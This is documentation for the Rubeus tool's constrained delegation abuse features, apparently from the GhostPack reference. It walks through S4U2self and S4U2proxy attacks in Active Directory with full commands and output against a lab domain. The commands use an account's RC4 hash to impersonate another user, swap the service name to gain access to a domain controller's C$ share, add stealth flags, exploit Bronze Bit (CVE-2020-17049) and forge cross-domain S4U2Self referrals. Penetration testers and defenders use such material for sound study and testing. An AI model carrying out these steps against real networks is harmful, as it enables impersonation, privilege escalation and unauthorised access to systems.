# Constrained Delegation Abuse

Breakdown of the constrained delegation commands:

| Command                                                                | Description                            |
| ---------------------------------------------------------------------- | -------------------------------------- |
| [s4u](https://specterops.gitbook.io/ghostpack/rubeus/broken-reference) | Perform S4U2self and S4U2proxy actions |

### s4u

The **s4u** action is nearly identical to [Kekeo](https://github.com/gentilkiwi/kekeo/)'s **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its `msds-allowedtodelegateto` field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see [this post](http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/) or Elad Shamir's ["Wagging the Dog"](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) post.

A **TL;DR** explanation is that an account with constrained delegation enabled is allowed to request tickets *to itself* as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have **TrustedToAuthForDelegation** enabled in its `useraccountcontrol` property, something that only elevated users can modify by default. This ticket has the **FORWARDABLE** flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's `msds-allowedtodelegateto` field. So long story short, if you have control of an account with **TrustedToAuthForDelegation** set and a value in `msds-allowedtodelegateto`, you can pretend to be any user in the domain to the SPNs set in the account's `msds-allowedtodelegateto` field.

This "control" can be the hash of the account (`/rc4` or `/aes256`), or an existing TGT (`/ticket:X`) for the account with a `msds-allowedtodelegateto` value set. If a `/user` and rc4/aes256 hash is supplied, the **s4u** module performs an **asktgt** action first, using the returned ticket for the steps following. If a TGT `/ticket:X` is supplied, that TGT is used instead.

A `/impersonateuser:X` parameter **MUST** be supplied to the **s4u** module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket:

```
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
```

That forwardable ticket can then be used as a `/tgs:Y` parameter (base64 blob or .kirbi file) to execute the S4U2proxy process. A valid `msds-allowedtodelegateto` value for the account must be supplied (`/msdsspn:X`). Say the **<patsy@testlab.local>** account looks like this:

```
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
```

Then the S4U2proxy abuse function (using the ticket from the previous S4U2self process) would be:

```
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: S4U

[*] Loaded a TGS for TESTLAB.LOCAL\dfm.a@TESTLAB.LOCAL
[*] Impersonating user 'dfm.a@TESTLAB.LOCAL' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..
```

Where `/ticket:X` is the TGT returned in the first step, and `/tgs` is the S4U2self ticket. Injecting the resulting ticket (manually with `Rubeus.exe ptt /ticket:X` or by supplying the `/ptt` flag to the **s4u** command) will allow you access the **ldap** service on primary.testlab.local *as if you are dfm.a*.

The `/altservice` parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma-separated (`/altservice:cifs,HOST,...`).

Let's expand on the previous example, forging access to the filesystem on **primary.testlab.local** by abusing its constrained delegation configuration and the alternate service substitution. Let's package it all into one step as well, performing a TGT request, S4U2self process, S4U2proxy execution, and injection of the final ticket:

```
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for 'dfm.a@TESTLAB.LOCAL' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):

    doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..

[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':

    doIGujCCBragAwIBBaEDAgEWoo..(snip)..

[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68

Directory of \\primary.testlab.local\C$

07/05/2018  12:57 PM    <DIR>          dumps
03/05/2017  04:36 PM    <DIR>          inetpub
08/22/2013  07:52 AM    <DIR>          PerfLogs
04/15/2017  05:25 PM    <DIR>          profiles
08/28/2018  11:51 AM    <DIR>          Program Files
08/28/2018  11:51 AM    <DIR>          Program Files (x86)
10/09/2018  12:04 PM    <DIR>          Temp
08/23/2018  03:52 PM    <DIR>          Users
10/25/2018  01:15 PM    <DIR>          Windows
            1 File(s)              9 bytes
            9 Dir(s)  40,511,676,416 bytes free
```

By default, several differences exist between the S4U2Self and S4U2Proxy TGS-REQ's generated by Rubeus and genuine requests. To form the TGS-REQ's more in line with genuine requests, the `/opsec` flag can be used. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists. The `/opsec` flag has not yet been implemented for cross-domain S4U.

The *Bronze Bit* exploit (CVE-2020-17049) is implemented using the `/bronzebit` flag. Adding this flag will automatically flip the *forwardable* flag when retrieving the S4U2Self ticket. As flipping this flag requires the service ticket to be decrypted and re-encrypted, the long-term key (service account's password hash) is required. For this reason, if a TGT is being supplied, the service accounts credentials are also required for this to work.

It is possible, in certain circumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed [here](https://exploit.ph/revisiting-delegate-2-thyself.html). For this purpose, the `/self` flag and `/altservice:X` argument can be used to generate a usable service ticket.

To forge an S4U2Self referral, only the trust key is required. By using the `/targetdomain:X` argument with the `/self` flag and without the `/targetdc` argument, Rubeus will treat the ticket supplied with `/ticket:X` as an S4U2Self referral and only request the final S4U2Self service ticket. The `/altservice:X` can also be used to rewrite the `sname` in the resulting ticket:

```
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for external.admin@external.zeroday.lab from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):

      doIFETCCBQ...RheS5sYWI=
```

##
